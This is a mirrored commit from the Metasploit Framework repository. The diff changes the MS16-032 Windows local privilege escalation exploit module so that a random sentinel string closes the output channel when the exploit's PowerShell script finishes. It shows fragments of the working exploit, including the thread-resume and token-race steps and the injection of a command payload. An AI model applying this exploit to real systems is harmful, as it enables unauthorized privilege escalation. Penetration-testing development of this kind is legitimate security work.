mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-09-04 20:18:27 +02:00
Add a random sentinel to close channel when terminates (#1)
* Add a random sentinel to close channel when terminates * Replace spaces with tabs to be consistent * Remove unnecessary escaped quotes and use include? instead of regex
This commit is contained in:
parent
756879d3d6
commit
3491da7da0
@ -354,6 +354,7 @@
|
||||
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
echo "$end"
|
||||
Return
|
||||
}
|
||||
|
||||
|
@ -126,6 +126,8 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
ms16_032.gsub!("$cmd","\"#{cmdstr}\"")
|
||||
#lpcommandLine - capped at 1024b
|
||||
ms16_032.gsub!("$args1","\"#{psh_cmd}\"")
|
||||
end_flag = Rex::Text.rand_text_alphanumeric(32)
|
||||
ms16_032.gsub!("$end", end_flag)
|
||||
|
||||
print_status('Compressing script contents...')
|
||||
ms16_032_c = compress_script(ms16_032)
|
||||
@ -160,6 +162,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
|
||||
while(d = r.channel.read)
|
||||
print(d)
|
||||
break if d.include? end_flag
|
||||
end
|
||||
r.channel.close
|
||||
r.close
|
||||
|
Loading…
Reference in New Issue
Block a user